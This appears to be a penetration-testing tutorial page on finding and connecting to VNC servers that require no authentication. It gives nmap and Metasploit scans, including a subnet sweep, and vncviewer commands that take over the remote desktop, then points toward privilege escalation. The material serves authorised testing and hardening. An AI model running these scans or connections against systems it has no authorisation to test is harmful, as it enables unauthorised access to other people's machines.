Skip to content
HackIndex logo

HackIndex

VNC Unauthenticated Access – No-Auth Desktop Access

2 min read Mar 12, 2026

Some VNC servers are configured with no authentication — security type None — meaning any client can connect and take full control of the desktop without a password. This is distinct from brute forcing a weak password: there is no credential exchange at all. Common on internal tools, development machines, industrial systems, and misconfigured servers exposed on non-standard ports.

Detecting No-Auth with Nmap

┌──(kali㉿kali)-[~]
└─$ nmap -p 5900 --script vnc-info $TARGET_IP 
5900/tcp open  vnc
| vnc-info:
|   Protocol version: 3.8
|   Security types:
|_    None (1)

None (1) or Security types: None confirms no authentication is required.

Scan a subnet for any VNC server accepting no-auth connections:

┌──(kali㉿kali)-[~]
└─$ nmap -p 5900-5910 --script vnc-info $TARGET_IP/24 | grep -B5 "None"

Detecting with Metasploit

┌──(kali㉿kali)-[~]
└─$ use auxiliary/scanner/vnc/vnc_none_auth
┌──(kali㉿kali)-[~]
└─$ set RHOSTS $TARGET_IP
┌──(kali㉿kali)-[~]
└─$ set PORTS 5900-5910
┌──(kali㉿kali)-[~]
└─$ run 
[+] 10.10.10.10:5900 - VNC server security type is None, access without authentication!

Connecting Directly

Connect with vncviewer — press Enter without typing a password when prompted, or the connection completes automatically:

┌──(kali㉿kali)-[~]
└─$ vncviewer $TARGET_IP:5900

Explicitly request None security type if the client does not try it automatically:

┌──(kali㉿kali)-[~]
└─$ vncviewer --SecurityTypes None $TARGET_IP:5900

With xtigervncviewer:

┌──(kali㉿kali)-[~]
└─$ xtigervncviewer -SecurityTypes None $TARGET_IP:5900

Non-Standard Ports

No-auth VNC is frequently found on non-standard ports on internal networks. If you found an open port in the 5900–5910 range, probe it directly:

┌──(kali㉿kali)-[~]
└─$ nmap -p $PORT --script vnc-info $TARGET_IP
┌──(kali㉿kali)-[~]
└─$ vncviewer $TARGET_IP:$PORT

What You Get

A successful connection gives a full graphical desktop session as the user running the VNC server — typically the logged-in interactive user. From the desktop, open a terminal and proceed with local enumeration and privilege escalation as needed.

On Linux, right-click the desktop for a terminal option or use keyboard shortcuts. On Windows, right-click the taskbar or use the Run dialog (Win+R).

References